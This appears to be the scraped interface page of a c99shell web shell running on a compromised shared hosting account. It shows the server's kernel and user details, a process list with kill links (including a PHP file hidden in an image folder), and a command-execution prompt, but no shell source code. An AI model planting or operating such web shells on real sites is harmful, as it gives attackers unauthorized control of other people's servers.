Software: LiteSpeed. PHP/7.4.33 uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) Safe-mode: OFF (not secure) /proc/sys/sunrpc/ dr-xr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
necipbey | 3854220 | 0.0 | 0.0 | 498300 | 32480 | ? | S 08:12 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 3854367 | 6.5 | 0.0 | 577588 | 30852 | ? | Ss 08:12 0:09 lsphp | KILL | ||||||||||||||||||||||
necipbey | 3862282 | 7.1 | 0.0 | 500752 | 24580 | ? | Ss 08:14 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 3862283 | 6.5 | 0.0 | 502800 | 26472 | ? | Ss 08:14 0:00 lsphp:/home/necipbey/public_html/assets/img/3.php | KILL | ||||||||||||||||||||||
necipbey | 3862431 | 0.0 | 0.0 | 4456 | 844 ? SN 08:14 0:00 /usr/local/cpanel/bin/logrunner 21.0000 --report-fd 12 /usr/local/cpanel/3rdparty/bin/awstats.pl -config=smsonayla.org -LogFile=/etc/apache2/logs/domlogs/smsonayla.org-ssl_log.bkup -update | KILL | ||||||||||||||||||||||||
necipbey | 3862432 | 89.8 | 0.0 | 296036 | 26296 | ? | RNs 08:14 0:07 /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/3rdparty/bin/awstats.pl -config=smsonayla.org -LogFile=/etc/apache2/logs/domlogs/smsonayla.org-ssl_log.bkup -update | KILL | ||||||||||||||||||||||
necipbey | 3862981 | 0.0 | 0.0 | 43044 | 2220 | ? R 08:14 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0212 ]-- |